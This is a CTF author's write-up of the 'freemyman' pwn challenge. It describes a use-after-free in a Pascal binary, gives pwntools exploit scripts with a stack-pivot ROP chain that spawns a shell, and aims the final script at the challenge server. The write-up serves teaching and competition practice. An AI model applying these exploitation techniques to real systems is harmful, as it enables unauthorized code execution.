[WWCTF 2024] Pwn - Freemyman

3 minute read

Writeup: “freemyman” Challenge

I had the opportunity to create a pwn challenge for my team, World Wide Flag, for the WWCTF. It was my first time making a challenge from scratch, and I had a lot of fun doing it. I wanted to try something a bit original, so I centered the challenge around Pascal—a high-level language that still allows direct memory manipulation. Initially, I aimed for something like a double-free exploit, but since I didn’t have the time to do research on a “Malloc Maleficarum” in Pascal, I decided to design a use-after-free vulnerability instead. Here’s how the challenge could be solved:


Reverse Engineering

Loading the binary in IDA revealed the following functions, conveniently highlighted thanks to my use of debug symbols:

  • REQUEST_SUCESS
  • ADD_REQUEST
  • EDIT_REQUEST
  • DELETE_REQUEST
  • SHOW_REQUEST
  • ADD_DATA

These functions perform as expected based on their names:

  1. ADD_REQUEST
    Adds a request with a title and content.
    ADD_REQ Function

  2. EDIT_REQUEST
    Allows editing of a request’s title and content by index.
    EDIT_REQ Function

  3. DELETE_REQUEST
    Frees a request based on its index.
    DELETE_REQUEST Function

  4. ADD_DATA
    Similar to ADD_REQUEST, but this time, no function pointer is added to the structure.
    ADD_DATA Function

  5. SHOW_REQUEST
    Prints the title and content of a request. It also calls a function pointer residing on the heap if the request’s title length is zero.
    SHOW_REQ Function


Triggering the Vulnerability

Decompiling these functions revealed no checks to verify whether a request was freed before calling SHOW_REQUEST. This creates a use-after-free vulnerability, allowing us to allocate data in the same memory region as the freed request and overwrite the function pointer. By doing so, we can execute arbitrary code.

Exploitation Steps:

  1. Create a request.
  2. Free the request.
  3. Allocate “data” in the same memory region.
  4. Use a cyclic pattern to determine the offset of the function pointer.
  5. Trigger the callback with SHOW_REQUEST.

Additionally, the title field must be empty to ensure the function pointer is called.

Here’s a simple script to trigger the vulnerability:

 1from pwn import *
 2
 3elf = ELF("./freemyman", checksec=False)
 4context.arch = "amd64"
 5
 6# Define menu functions
 7def menu(idx): p.sendlineafter(b">> ", str(idx).encode())
 8def add_req(title, content): menu(1); p.sendlineafter(b"Title: ", title); p.sendlineafter(b"Content: ", content)
 9def free_req(idx): menu(4); p.sendline(str(idx).encode())
10def add_data(title, content): menu(5); p.sendlineafter(b"Title: ", title); p.sendlineafter(b"Content: ", content)
11def show_req(idx): menu(3); p.sendlineafter(b"show: ", str(idx).encode()); p.recvuntil(b"Title: "); return p.recvline()[:-1]
12
13p = process(elf.path)
14# p = remote("freemyman.chal.wwctf.com", 1337)
15
16# Steps
17add_req(b"test", b"miaou")  # Step 1: Create request
18free_req(1)                 # Step 2: Free request
19add_data(b"", cyclic(200))  # Step 3: Add data
20menu(3)                     # Step 4: Show request
21p.interactive()

Debugging this in GDB shows a segmentation fault at:

0x401461 <P$FREEMYMANUAF_$$_SHOW_REQUEST$PREQUEST+81> call qword ptr [rax + 0x88]

Using cyclic -l, we find that the function pointer is overwritten at offset 70.


Exploiting the Vulnerability

Now that we have arbitrary function call control, what can we do with it?

The function pointer call segfaults, but we also control the r10 register. Unfortunately, we can’t directly use ROP since we lack stack pointer control. However, we can pivot the stack using a useful gadget: xchg rsp, r10.

Using this gadget, we can redirect the stack to an area we control and execute an elaborate ROP chain.


The “Great Mistake”

My original plan was for users to stack pivot into the STDIN buffer (since it’s predictable and within the binary). However, I overlooked the possibility of leaking a heap address via the use-after-free, which many players exploited.

Still, my stack-pivoting approach works and adds two challenges:

  1. The payload must fit within 256 bytes (due to STDIN buffer size).
  2. We must handle garbage instructions near the function pointer.

Here’s the final ROP chain for executing execve("/bin/sh", 0, 0):

 1payload = b"A" * 2  # Padding
 2payload += p64(pop_rdi) + p64(next(elf.search(b"/bin/sh\0")))
 3payload += b"A" * 32 + p64(pop_rbx)  # Avoid garbage instructions
 4payload = payload.ljust(62, b"A")
 5payload += p64(0x4834FC + 2)  # r10 pivot location
 6payload += p64(xchg_rsp_r10)  # Stack pivot
 7payload += b"junk"  # Realign stack
 8payload += p64(pop_rsi) + p64(0) * 4  # Null rsi and other registers
 9payload += p64(pop_rax) + p64(0x468180) + p64(xchg_rdx_rax)
10payload += p64(pop_rax) + p64(0xFFFFFFFFFFFFFFFF - 0x11) + p64(0x40264A)
11payload += p64(elf.sym["BASEUNIX_$$_FPEXECVE$PCHAR$PPCHAR$PPCHAR$$LONGINT"])  # Execve syscall

And the final exploit script:

 1from pwn import *
 2
 3elf = ELF("./freemyman", checksec=False)
 4context.arch = "amd64"
 5
 6p = remote("freemyman.chal.wwctf.com", 1337)
 7
 8add_req(b"fullclip", b"gangstarr")
 9free_req(1)
10add_data(b"", payload)
11menu(3)
12p.sendlineafter(b"show: ", b"1")
13p.interactive()

Conclusion

hope you appreciated my challenge . see you at the next ctf !